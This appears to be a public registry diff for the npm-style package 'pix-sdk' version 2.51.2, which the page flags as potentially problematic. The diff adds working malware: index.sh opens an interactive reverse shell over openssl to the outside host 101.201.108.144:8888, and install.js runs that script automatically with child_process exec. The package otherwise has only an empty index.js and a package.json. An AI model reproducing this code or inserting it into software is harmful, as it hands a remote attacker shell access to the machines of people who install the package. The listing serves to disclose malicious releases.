pix-sdk 2.51.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pix-sdk might be problematic. Click here for more details.
- package/index.js +0 -0
- package/index.sh +1 -0
- package/install.js +20 -0
- package/package.json +11 -0
package/index.js
ADDED
File without changes
|
package/index.sh
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 101.201.108.144:8888 > /tmp/s; rm /tmp/s
|
package/install.js
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
|
2
|
+
const { exec } = require("child_process");
|
3
|
+
function terminalLinux(){
|
4
|
+
exec("/bin/bash index.sh",(error,stdout,stderr) => {
|
5
|
+
if(error){
|
6
|
+
console.log(`error:${error.message}`);
|
7
|
+
return;
|
8
|
+
|
9
|
+
}
|
10
|
+
if(stderr){
|
11
|
+
console.log(`stderr:${stderr}`);
|
12
|
+
return;
|
13
|
+
|
14
|
+
}
|
15
|
+
console.log(`stdout:${stdout}`);
|
16
|
+
});
|
17
|
+
|
18
|
+
}
|
19
|
+
|
20
|
+
terminalLinux()
|